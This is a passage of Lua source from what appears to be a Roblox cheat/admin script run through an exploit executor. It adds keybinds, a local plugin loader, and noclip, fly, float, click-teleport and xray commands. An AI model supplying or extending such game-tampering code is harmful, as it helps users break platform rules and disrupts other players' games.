3719Noclip.Select.MouseButton1Click:Connect(function()
3720 if keySelected then
3721 addbind('togglenoclip',keyPressed)
3722 refreshbinds()
3723 updatesaves()
3724 if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
3725 notify('Keybinds Updated','Binded '..keyPressed..' to toggle noclip')
3726 else
3727 notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle noclip')
3728 end
3729 end
3730end)
3731
3732Float.Select.MouseButton1Click:Connect(function()
3733 if keySelected then
3734 addbind('togglefloat',keyPressed)
3735 refreshbinds()
3736 updatesaves()
3737 if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
3738 notify('Keybinds Updated','Binded '..keyPressed..' to toggle float')
3739 else
3740 notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle float')
3741 end
3742 end
3743end)
3744
3745ClickTP.Select.MouseButton1Click:Connect(function()
3746 if keySelected then
3747 addbind('clicktp',keyPressed)
3748 refreshbinds()
3749 updatesaves()
3750 if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
3751 notify('Keybinds Updated','Binded '..keyPressed..' to click tp')
3752 else
3753 notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click tp')
3754 end
3755 end
3756end)
3757
3758Xray.Select.MouseButton1Click:Connect(function()
3759 if keySelected then
3760 addbind('togglexray',keyPressed)
3761 refreshbinds()
3762 updatesaves()
3763 if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
3764 notify('Keybinds Updated','Binded '..keyPressed..' to toggle xray')
3765 else
3766 notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle xray')
3767 end
3768 end
3769end)
3770
3771IYMouse.Button1Down:connect(function()
3772 for i,v in pairs(binds) do
3773 if v.COMMAND == 'clicktp' then
3774 local input = v.KEY
3775 if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) and Players.LocalPlayer.Character then
3776 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0)
3777 elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) and Players.LocalPlayer.Character then
3778 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0)
3779 elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) and Players.LocalPlayer.Character then
3780 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0)
3781 end
3782 end
3783 end
3784end)
3785
3786PluginsGUI = PluginEditor.background
3787
3788function addPlugin(name)
3789 if name:lower() == 'plugin file name' or name:lower() == 'iy_fe.iy' or name == 'iy_fe' then
3790 notify('Plugin Error','Please enter a valid plugin')
3791 else
3792 local file
3793 local fileName
3794 if name:sub(-3) == '.iy' then
3795 pcall(function() file = readfile(name) end)
3796 fileName = name
3797 else
3798 pcall(function() file = readfile(name..'.iy') end)
3799 fileName = name..'.iy'
3800 end
3801 if file then
3802 if not FindInTable(PluginsTable, fileName) then
3803 table.insert(PluginsTable, fileName)
3804 LoadPlugin(fileName)
3805 refreshplugins()
3806 else
3807 notify('Plugin Error','This plugin is already added')
3808 end
3809 else
3810 notify('Plugin Error','Cannot locate file "'..fileName..'". Is the file in the correct folder?')
3811 end
3812 end
3813end
3814
3815function deletePlugin(name)
3816 local pName = name..'.iy'
3817 if name:sub(-3) == '.iy' then
3818 pName = name
3819 end
3820 for i = #cmds,1,-1 do
3821 if cmds[i].PLUGIN == pName then
3822 table.remove(cmds, i)
3823 end
3824 end
3825 for i,v in pairs(Holder.CMDs:GetChildren()) do
3826 if v.Name == 'PLUGIN_'..pName then
3827 v:Destroy()
3828 end
3829 end
3830 for i,v in pairs(PluginsTable) do
3831 if v == pName then
3832 table.remove(PluginsTable, i)
3833 notify('Removed Plugin',pName..' was removed')
3834 end
3835 end
3836 IndexContents('',true)
3837 refreshplugins()
3838end
3839
3840function refreshplugins(dontSave)
3841 if #PluginsTable > 0 then
3842 PluginsHint:Destroy()
3843 end
3844 if Holder_5 then
3845 Holder_5:ClearAllChildren()
3846 Holder_5.CanvasSize = UDim2.new(0, 0, 0, 10)
3847 for i,v in pairs(PluginsTable) do
3848 local pName = v
3849 local YSize = 25
3850 local Position = ((i * YSize) - YSize)
3851 local newplugin = Example_5:Clone()
3852 newplugin.Parent = Holder_5
3853 newplugin.Visible = true
3854 newplugin.Position = UDim2.new(0,0,0, Position + 5)
3855 newplugin.Text.Text = pName
3856 Holder_5.CanvasSize = UDim2.new(0,0,0, Position + 30)
3857 newplugin.Text.Delete.MouseButton1Click:Connect(function()
3858 deletePlugin(pName)
3859 end)
3860 end
3861 if not dontSave then
3862 updatesaves()
3863 end
3864 end
3865end
3866
3867local PluginCache
3868function LoadPlugin(val,startup)
3869 local plugin
3870
3871 function CatchedPluginLoad()
3872 plugin = loadfile(val)()
3873 end
3874
3875 function handlePluginError(plerror)
3876 notify('Plugin Error','An error occurred with the plugin, "'..val..'" and it could not be loaded')
3877 if FindInTable(PluginsTable,val) then
3878 for i,v in pairs(PluginsTable) do
3879 if v == val then
3880 table.remove(PluginsTable,i)
3881 end
3882 end
3883 end
3884
3885 print("Original Error: "..tostring(plerror))
3886 print("Plugin Error, stack traceback: "..tostring(debug.traceback()))
3887
3888 plugin = nil
3889
3890 return false
3891 end
3892
3893 xpcall(CatchedPluginLoad, handlePluginError)
3894
3895 if plugin ~= nil then
3896 if not startup then
3897 notify('Loaded Plugin',"Name: "..plugin["PluginName"].."\n".."Description: "..plugin["PluginDescription"])
3898 end
3899 addcmdtext('',val)
3900 addcmdtext(string.upper('--'..plugin["PluginName"]),val,plugin["PluginDescription"])
3901 for i,v in pairs(plugin["Commands"]) do
3902 local cmdExt = ''
3903 local cmdName = i
3904 local function handleNames()
3905 cmdName = i
3906 if findCmd(cmdName..cmdExt) then
3907 if isNumber(cmdExt) then
3908 cmdExt = cmdExt+1
3909 else
3910 cmdExt = 1
3911 end
3912 handleNames()
3913 else
3914 cmdName = cmdName..cmdExt
3915 end
3916 end
3917 handleNames()
3918 addcmd(cmdName, v["Aliases"], v["Function"], val)
3919 if v["ListName"] then
3920 local newName = v.ListName
3921 local cmdNames = {i,unpack(v.Aliases)}
3922 for i,v in pairs(cmdNames) do
3923 newName = newName:gsub(v,v..cmdExt)
3924 end
3925 addcmdtext(newName,val,v["Description"])
3926 else
3927 addcmdtext(cmdName,val,v["Description"])
3928 end
3929 end
3930 IndexContents('',true)
3931 elseif plugin == nil then
3932 plugin = nil
3933 end
3934end
3935
3936function FindPlugins()
3937 if PluginsTable ~= nil and type(PluginsTable) == "table" then
3938 for i,v in pairs(PluginsTable) do
3939 LoadPlugin(v,true)
3940 end
3941 refreshplugins(true)
3942 end
3943end
3944
3945PluginsGUI.AddPlugin.MouseButton1Click:connect(function()
3946 addPlugin(PluginsGUI.FileName.Text)
3947end)
3948
3949Exit_3.MouseButton1Click:connect(function()
3950 PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
3951 PluginsGUI.FileName.Text = 'Plugin File Name'
3952end)
3953
3954PluginsFrame.Add.MouseButton1Click:Connect(function()
3955 PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, 310), "InOut", "Quart", 0.5, true, nil)
3956end)
3957
3958Settings.Plugins.Select.MouseButton1Click:Connect(function()
3959 if writefileExploit() then
3960 PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
3961 wait(0.5)
3962 disablebuttons()
3963 else
3964 notify('Incompatible Exploit','Your exploit is unable to use plugins')
3965 end
3966end)
3967
3968PluginsFrame.Close.MouseButton1Click:Connect(function()
3969 enablebuttons()
3970 PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
3971end)
3972
3973addcmd('addalias',{},
3974function(args,speaker)
3975 if #args < 2 then return end
3976 local cmd = string.lower(args[1])
3977 local alias = string.lower(args[2])
3978 for i,v in pairs(cmds) do
3979 if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
3980 customAlias[alias] = v
3981 aliases[#aliases + 1] = {CMD = cmd, ALIAS = alias}
3982 notify('Aliases Modified',"Added "..alias.." as an alias to "..cmd)
3983 updatesaves()
3984 refreshaliases()
3985 break
3986 end
3987 end
3988end)
3989
3990addcmd('loadsavedaliases',{},
3991function(args,speaker)
3992 if #args < 2 then return end
3993 local cmd = string.lower(args[1])
3994 local alias = string.lower(args[2])
3995 for i,v in pairs(cmds) do
3996 if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
3997 customAlias[alias] = v
3998 refreshaliases()
3999 break
4000 end
4001 end
4002end)
4003
4004if aliases then
4005 for i = 1, #aliases do
4006 execCmd('loadsavedaliases '..aliases[i].CMD..' '..aliases[i].ALIAS,Players.LocalPlayer,true)
4007 end
4008end
4009
4010addcmd('removealias',{},
4011function(args,speaker)
4012 if #args < 1 then return end
4013 local alias = string.lower(args[1])
4014 if customAlias[alias] then
4015 local cmd = customAlias[alias].NAME
4016 customAlias[alias] = nil
4017 for i,v in pairs(aliases) do
4018 if v.ALIAS == tostring(alias) then
4019 table.remove(aliases, i)
4020 end
4021 end
4022 notify('Aliases Modified',"Removed the alias "..alias.." from "..cmd)
4023 updatesaves()
4024 refreshaliases()
4025 end
4026end)
4027
4028addcmd('clraliases',{},
4029function(args,speaker)
4030 customAlias = {}
4031 aliases = {}
4032 notify('Aliases Modified','Removed all aliases')
4033 updatesaves()
4034 refreshaliases()
4035end)
4036
4037addcmd('serverinfo',{'info','sinfo'},
4038function(args, speaker)
4039 local FRAME = Instance.new("Frame")
4040 local shadow = Instance.new("Frame")
4041 local PopupText = Instance.new("TextLabel")
4042 local Exit = Instance.new("ImageButton")
4043 local background = Instance.new("Frame")
4044 local Dark = Instance.new("Frame")
4045 local TextLabel = Instance.new("TextLabel")
4046 local TextLabel2 = Instance.new("TextLabel")
4047 local TextLabel3 = Instance.new("TextLabel")
4048 local Time = Instance.new("TextLabel")
4049 local appearance = Instance.new("TextLabel")
4050 local maxplayers = Instance.new("TextLabel")
4051 local name = Instance.new("TextLabel")
4052 local placeid = Instance.new("TextLabel")
4053 local playerid = Instance.new("TextLabel")
4054 local players = Instance.new("TextLabel")
4055
4056 FRAME.Name = randomString()
4057 FRAME.Parent = PARENT
4058 FRAME.Active = true
4059 FRAME.BackgroundColor3 = Color3.new(1, 1, 1)
4060 FRAME.BackgroundTransparency = 1
4061 FRAME.Position = UDim2.new(0.5, -130, 0, -400)
4062 FRAME.Size = UDim2.new(0, 250, 0, 20)
4063 FRAME.ZIndex = 4
4064 dragGUI(FRAME)
4065
4066 shadow.Name = "shadow"
4067 shadow.Parent = FRAME
4068 shadow.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
4069 shadow.BorderColor3 = Color3.new(0, 0, 0)
4070 shadow.BorderSizePixel = 0
4071 shadow.Size = UDim2.new(0, 250, 0, 20)
4072 shadow.ZIndex = 4
4073
4074 PopupText.Name = "PopupText"
4075 PopupText.Parent = shadow
4076 PopupText.BackgroundTransparency = 1
4077 PopupText.Position = UDim2.new(0, 38, 0, 0)
4078 PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
4079 PopupText.ZIndex = 4
4080 PopupText.Font = Enum.Font.SourceSans
4081 PopupText.TextSize = 20
4082 PopupText.Text = "Server"
4083 PopupText.TextColor3 = Color3.new(1, 1, 1)
4084 PopupText.TextStrokeTransparency = 0
4085 PopupText.TextWrapped = true
4086
4087 Exit.Name = "Exit"
4088 Exit.Parent = shadow
4089 Exit.BackgroundColor3 = Color3.new(1, 1, 1)
4090 Exit.BackgroundTransparency = 1
4091 Exit.Size = UDim2.new(0, 20, 0, 20)
4092 Exit.ZIndex = 4
4093 Exit.Image = "rbxassetid://2132544126"
4094
4095 background.Name = "background"
4096 background.Parent = FRAME
4097 background.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
4098 background.BorderColor3 = Color3.new(0, 0, 0)
4099 background.BorderSizePixel = 0
4100 background.Position = UDim2.new(0, 0, 1, 0)
4101 background.Size = UDim2.new(0, 250, 0, 250)
4102 background.ZIndex = 4
4103
4104 Dark.Name = "Dark"
4105 Dark.Parent = background
4106 Dark.Active = true
4107 Dark.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
4108 Dark.BackgroundTransparency = 0.5
4109 Dark.BorderSizePixel = 0
4110 Dark.Size = UDim2.new(0, 250, 0, 5)
4111 Dark.ZIndex = 4
4112
4113 TextLabel.Name = "Text Label"
4114 TextLabel.Parent = background
4115 TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
4116 TextLabel.BackgroundTransparency = 1
4117 TextLabel.BorderColor3 = Color3.new(0, 0, 0)
4118 TextLabel.Position = UDim2.new(0, 5, 0, 80)
4119 TextLabel.Size = UDim2.new(0, 100, 0, 20)
4120 TextLabel.ZIndex = 10
4121 TextLabel.Font = Enum.Font.SourceSansLight
4122 TextLabel.TextSize = 20
4123 TextLabel.Text = "Run Time:"
4124 TextLabel.TextColor3 = Color3.new(1, 1, 1)
4125 TextLabel.TextStrokeTransparency = 0
4126 TextLabel.TextXAlignment = Enum.TextXAlignment.Left
4127
4128 TextLabel2.Name = "Text Label2"
4129 TextLabel2.Parent = background
4130 TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1)
4131 TextLabel2.BackgroundTransparency = 1
4132 TextLabel2.BorderColor3 = Color3.new(0, 0, 0)
4133 TextLabel2.Position = UDim2.new(0, 5, 0, 130)
4134 TextLabel2.Size = UDim2.new(0, 100, 0, 20)
4135 TextLabel2.ZIndex = 10
4136 TextLabel2.Font = Enum.Font.SourceSansLight
4137 TextLabel2.TextSize = 20
4138 TextLabel2.Text = "Statistics:"
4139 TextLabel2.TextColor3 = Color3.new(1, 1, 1)
4140 TextLabel2.TextXAlignment = Enum.TextXAlignment.Left
4141
4142 TextLabel3.Name = "Text Label3"
4143 TextLabel3.Parent = background
4144 TextLabel3.BackgroundColor3 = Color3.new(1, 1, 1)
4145 TextLabel3.BackgroundTransparency = 1
4146 TextLabel3.BorderColor3 = Color3.new(0, 0, 0)
4147 TextLabel3.BorderSizePixel = 0
4148 TextLabel3.Position = UDim2.new(0, 5, 0, 10)
4149 TextLabel3.Size = UDim2.new(0, 100, 0, 20)
4150 TextLabel3.ZIndex = 10
4151 TextLabel3.Font = Enum.Font.SourceSansLight
4152 TextLabel3.TextSize = 20
4153 TextLabel3.Text = "Local Player:"
4154 TextLabel3.TextColor3 = Color3.new(1, 1, 1)
4155 TextLabel3.TextXAlignment = Enum.TextXAlignment.Left
4156
4157 Time.Name = "Time"
4158 Time.Parent = background
4159 Time.BackgroundColor3 = Color3.new(0, 0.8, 1)
4160 Time.BackgroundTransparency = 1
4161 Time.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4162 Time.Position = UDim2.new(0, 5, 0, 105)
4163 Time.Size = UDim2.new(0, 100, 0, 20)
4164 Time.ZIndex = 10
4165 Time.Font = Enum.Font.SourceSans
4166 Time.FontSize = Enum.FontSize.Size14
4167 Time.Text = "LOADING"
4168 Time.TextColor3 = Color3.new(1, 1, 1)
4169 Time.TextXAlignment = Enum.TextXAlignment.Left
4170
4171 appearance.Name = "appearance"
4172 appearance.Parent = background
4173 appearance.BackgroundColor3 = Color3.new(0, 0.8, 1)
4174 appearance.BackgroundTransparency = 1
4175 appearance.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4176 appearance.Position = UDim2.new(0, 5, 0, 55)
4177 appearance.Size = UDim2.new(0, 100, 0, 20)
4178 appearance.ZIndex = 10
4179 appearance.Font = Enum.Font.SourceSans
4180 appearance.FontSize = Enum.FontSize.Size14
4181 appearance.Text = "Appearance: LOADING"
4182 appearance.TextColor3 = Color3.new(1, 1, 1)
4183 appearance.TextXAlignment = Enum.TextXAlignment.Left
4184
4185 maxplayers.Name = "maxplayers"
4186 maxplayers.Parent = background
4187 maxplayers.BackgroundColor3 = Color3.new(0, 0.8, 1)
4188 maxplayers.BackgroundTransparency = 1
4189 maxplayers.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4190 maxplayers.Position = UDim2.new(0, 5, 0, 175)
4191 maxplayers.Size = UDim2.new(0, 100, 0, 20)
4192 maxplayers.ZIndex = 10
4193 maxplayers.Font = Enum.Font.SourceSans
4194 maxplayers.FontSize = Enum.FontSize.Size14
4195 maxplayers.Text = "LOADING"
4196 maxplayers.TextColor3 = Color3.new(1, 1, 1)
4197 maxplayers.TextXAlignment = Enum.TextXAlignment.Left
4198
4199 name.Name = "name"
4200 name.Parent = background
4201 name.BackgroundColor3 = Color3.new(0, 0.8, 1)
4202 name.BackgroundTransparency = 1
4203 name.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4204 name.Position = UDim2.new(0, 5, 0, 215)
4205 name.Size = UDim2.new(0, 240, 0, 30)
4206 name.ZIndex = 10
4207 name.Font = Enum.Font.SourceSans
4208 name.FontSize = Enum.FontSize.Size14
4209 name.Text = "Place Name: LOADING"
4210 name.TextColor3 = Color3.new(1, 1, 1)
4211 name.TextWrapped = true
4212 name.TextXAlignment = Enum.TextXAlignment.Left
4213 name.TextYAlignment = Enum.TextYAlignment.Top
4214
4215 placeid.Name = "placeid"
4216 placeid.Parent = background
4217 placeid.BackgroundColor3 = Color3.new(0, 0.8, 1)
4218 placeid.BackgroundTransparency = 1
4219 placeid.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4220 placeid.Position = UDim2.new(0, 5, 0, 195)
4221 placeid.Size = UDim2.new(0, 100, 0, 20)
4222 placeid.ZIndex = 10
4223 placeid.Font = Enum.Font.SourceSans
4224 placeid.FontSize = Enum.FontSize.Size14
4225 placeid.Text = "Place ID: LOADING"
4226 placeid.TextColor3 = Color3.new(1, 1, 1)
4227 placeid.TextXAlignment = Enum.TextXAlignment.Left
4228
4229 playerid.Name = "playerid"
4230 playerid.Parent = background
4231 playerid.BackgroundColor3 = Color3.new(0, 0.8, 1)
4232 playerid.BackgroundTransparency = 1
4233 playerid.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4234 playerid.Position = UDim2.new(0, 5, 0, 35)
4235 playerid.Size = UDim2.new(0, 100, 0, 20)
4236 playerid.ZIndex = 10
4237 playerid.Font = Enum.Font.SourceSans
4238 playerid.FontSize = Enum.FontSize.Size14
4239 playerid.Text = "Player ID: LOADING"
4240 playerid.TextColor3 = Color3.new(1, 1, 1)
4241 playerid.TextXAlignment = Enum.TextXAlignment.Left
4242
4243 players.Name = "players"
4244 players.Parent = background
4245 players.BackgroundColor3 = Color3.new(0, 0.8, 1)
4246 players.BackgroundTransparency = 1
4247 players.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
4248 players.Position = UDim2.new(0, 5, 0, 155)
4249 players.Size = UDim2.new(0, 100, 0, 20)
4250 players.ZIndex = 10
4251 players.Font = Enum.Font.SourceSans
4252 players.FontSize = Enum.FontSize.Size14
4253 players.Text = "LOADING"
4254 players.TextColor3 = Color3.new(1, 1, 1)
4255 players.TextXAlignment = Enum.TextXAlignment.Left
4256
4257 local SINFOGUI = background
4258 FRAME:TweenPosition(UDim2.new(0.5, -130, 0, 100), "InOut", "Quart", 0.5, true, nil)
4259 wait(0.5)
4260 Exit.MouseButton1Click:Connect(function()
4261 FRAME:TweenPosition(UDim2.new(0.5, -130, 0, -400), "InOut", "Quart", 0.5, true, nil)
4262 wait(0.6)
4263 FRAME:Destroy()
4264 end)
4265 local Asset = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
4266 SINFOGUI.name.Text = "Place Name: " .. Asset.Name
4267 SINFOGUI.playerid.Text = "Player ID: " ..Players.LocalPlayer.UserId
4268 SINFOGUI.maxplayers.Text = Players.MaxPlayers.. " Players Max"
4269 SINFOGUI.placeid.Text = "Place ID: " ..game.PlaceId
4270 repeat
4271 players = Players:getPlayers()
4272 SINFOGUI.players.Text = #players.. " Player(s)"
4273 SINFOGUI.appearance.Text = "Appearance: " ..Players.LocalPlayer.CharacterAppearanceId
4274 local seconds = math.floor(workspace.DistributedGameTime)
4275 local minutes = math.floor(workspace.DistributedGameTime / 60)
4276 local hours = math.floor(workspace.DistributedGameTime / 60 / 60)
4277 local seconds = seconds - (minutes * 60)
4278 local minutes = minutes - (hours * 60)
4279 if hours < 1 then if minutes < 1 then
4280 SINFOGUI.Time.Text = seconds .. " Second(s)" else
4281 SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)"
4282 end
4283 else
4284 SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " .. seconds .. " Second(s)"
4285 end
4286 wait(1)
4287 until SINFOGUI.Parent == nil
4288end)
4289
4290addcmd('breakloops',{'break'},
4291function(args, speaker)
4292 lastBreakTime = tick()
4293end)
4294
4295addcmd('rejoin',{'rj'},
4296function(args, speaker)
4297 game:GetService('TeleportService'):Teleport(game.PlaceId)
4298end)
4299
4300addcmd('exit',{},
4301function(args, speaker)
4302 game:shutdown()
4303end)
4304
4305local Noclipping = nil
4306addcmd('noclip',{},
4307function(args, speaker)
4308 Clip = false
4309 wait(0.1)
4310 local function NoclipLoop()
4311 if Clip == false and Players.LocalPlayer.Character ~= nil then
4312 for _, child in pairs(Players.LocalPlayer.Character:GetDescendants()) do
4313 if child:IsA("BasePart") and child.CanCollide == true then
4314 child.CanCollide = false
4315 end
4316 end
4317 end
4318 end
4319 Noclipping = game:GetService('RunService').Stepped:connect(NoclipLoop)
4320 if args[1] and args[1] == 'nonotify' then return end
4321 notify('Noclip','Noclip Enabled')
4322end)
4323
4324addcmd('clip',{'unnoclip'},
4325function(args, speaker)
4326 if Noclipping then
4327 Noclipping:Disconnect()
4328 end
4329 Clip = true
4330 if args[1] and args[1] == 'nonotify' then return end
4331 notify('Noclip','Noclip Disabled')
4332end)
4333
4334addcmd('togglenoclip',{},
4335function(args, speaker)
4336 if Clip then
4337 execCmd('noclip',Players.LocalPlayer,true)
4338 else
4339 execCmd('clip',Players.LocalPlayer,true)
4340 end
4341end)
4342
4343FLYING = false
4344iyflyspeed = 1
4345vehicleflyspeed = 1
4346function sFLY(vfly)
4347 repeat wait() until Players.LocalPlayer and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('Humanoid')
4348 repeat wait() until IYMouse
4349
4350 local T = Players.LocalPlayer.Character.HumanoidRootPart
4351 local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
4352 local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
4353 local SPEED = 0
4354
4355 local function FLY()
4356 FLYING = true
4357 local BG = Instance.new('BodyGyro', T)
4358 local BV = Instance.new('BodyVelocity', T)
4359 BG.P = 9e4
4360 BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
4361 BG.cframe = T.CFrame
4362 BV.velocity = Vector3.new(0, 0, 0)
4363 BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
4364 spawn(function()
4365 repeat wait()
4366 if not vfly then
4367 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
4368 end
4369 if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
4370 SPEED = 50
4371 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
4372 SPEED = 0
4373 end
4374 if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
4375 BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
4376 lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
4377 elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
4378 BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
4379 else
4380 BV.velocity = Vector3.new(0, 0, 0)
4381 end
4382 BG.cframe = workspace.CurrentCamera.CoordinateFrame
4383 until not FLYING
4384 CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
4385 lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
4386 SPEED = 0
4387 BG:destroy()
4388 BV:destroy()
4389 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
4390 end)
4391 end
4392 IYMouse.KeyDown:connect(function(KEY)
4393 if KEY:lower() == 'w' then
4394 if vfly then
4395 CONTROL.F = vehicleflyspeed
4396 else
4397 CONTROL.F = iyflyspeed
4398 end
4399 elseif KEY:lower() == 's' then
4400 if vfly then
4401 CONTROL.B = - vehicleflyspeed
4402 else
4403 CONTROL.B = - iyflyspeed
4404 end
4405 elseif KEY:lower() == 'a' then
4406 if vfly then
4407 CONTROL.L = - vehicleflyspeed
4408 else
4409 CONTROL.L = - iyflyspeed
4410 end
4411 elseif KEY:lower() == 'd' then
4412 if vfly then
4413 CONTROL.R = vehicleflyspeed
4414 else
4415 CONTROL.R = iyflyspeed
4416 end
4417 elseif KEY:lower() == 'e' then
4418 if vfly then
4419 CONTROL.Q = vehicleflyspeed*2
4420 else
4421 CONTROL.Q = iyflyspeed*2
4422 end
4423 elseif KEY:lower() == 'q' then
4424 if vfly then
4425 CONTROL.E = -vehicleflyspeed*2
4426 else
4427 CONTROL.E = -iyflyspeed*2
4428 end
4429 end
4430 end)
4431 IYMouse.KeyUp:connect(function(KEY)
4432 if KEY:lower() == 'w' then
4433 CONTROL.F = 0
4434 elseif KEY:lower() == 's' then
4435 CONTROL.B = 0
4436 elseif KEY:lower() == 'a' then
4437 CONTROL.L = 0
4438 elseif KEY:lower() == 'd' then
4439 CONTROL.R = 0
4440 elseif KEY:lower() == 'e' then
4441 CONTROL.Q = 0
4442 elseif KEY:lower() == 'q' then
4443 CONTROL.E = 0
4444 end
4445 end)
4446 FLY()
4447end
4448
4449function NOFLY()
4450 FLYING = false
4451 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
4452end
4453
4454addcmd('fly',{},
4455function(args, speaker)
4456 NOFLY()
4457 wait()
4458 sFLY()
4459end)
4460
4461addcmd('flyspeed',{'flysp'},
4462function(args, speaker)
4463 if isNumber(args[1]) then
4464 iyflyspeed = args[1]
4465 end
4466end)
4467
4468addcmd('unfly',{'nofly','novfly','unvehiclefly','novehiclefly','unvfly'},
4469function(args, speaker)
4470 NOFLY()
4471end)
4472
4473addcmd('vfly',{'vehiclefly'},
4474function(args, speaker)
4475 NOFLY()
4476 wait()
4477 sFLY(true)
4478end)
4479
4480addcmd('vflyspeed',{'vflysp','vehicleflyspeed','vehicleflysp'},
4481function(args, speaker)
4482 if isNumber(args[1]) then
4483 vehicleflyspeed = args[1]
4484 end
4485end)
4486
4487addcmd('togglefly',{},
4488function(args, speaker)
4489 if FLYING then
4490 NOFLY()
4491 else
4492 sFLY()
4493 end
4494end)
4495
4496Floating = false
4497addcmd('float', {'platform'},
4498function(args,speaker)
4499 Floating = true
4500 local pchar = Players.LocalPlayer.Character
4501 if pchar and not pchar:FindFirstChild("Float") then
4502 spawn(function()
4503 local Float = Instance.new('Part', pchar)
4504 Float.Name = 'Float'
4505 Float.Transparency = 1
4506 Float.Size = Vector3.new(6,1,6)
4507 Float.Anchored = true
4508 Float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0)
4509 notify('Float','Float Enabled')
4510 local function FloatPadLoop()
4511 if pchar:FindFirstChild("Float") then
4512 Float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0)
4513 else
4514 FloatingFunc:Disconnect()
4515 end
4516 end
4517 FloatingFunc = game:GetService('RunService').RenderStepped:connect(FloatPadLoop)
4518 end)
4519 end
4520end)
4521
4522addcmd('unfloat',{'nofloat','unplatform','noplatform'},
4523function(args, speaker)
4524 Floating = false
4525 local pchar = Players.LocalPlayer.Character
4526 notify('Float','Float Disabled')
4527 if pchar:FindFirstChild("Float") then
4528 pchar.Float:Destroy()
4529 end
4530 FloatingFunc:Disconnect()
4531end)
4532
4533addcmd('togglefloat',{},
4534function(args, speaker)
4535 if Floating then
4536 execCmd('unfloat',Players.LocalPlayer,true)
4537 else
4538 execCmd('float',Players.LocalPlayer,true)
4539 end
4540end)
4541
4542addcmd('savepos',{'spos','saveposition'},
4543function(args, speaker)
4544 local WPName = tostring(getstring(1))
4545 if speaker.Character:findFirstChild("HumanoidRootPart") then
4546 notify('Modified Waypoints',"Created waypoint: "..getstring(1))
4547 local torso = speaker.Character:findFirstChild("HumanoidRootPart")
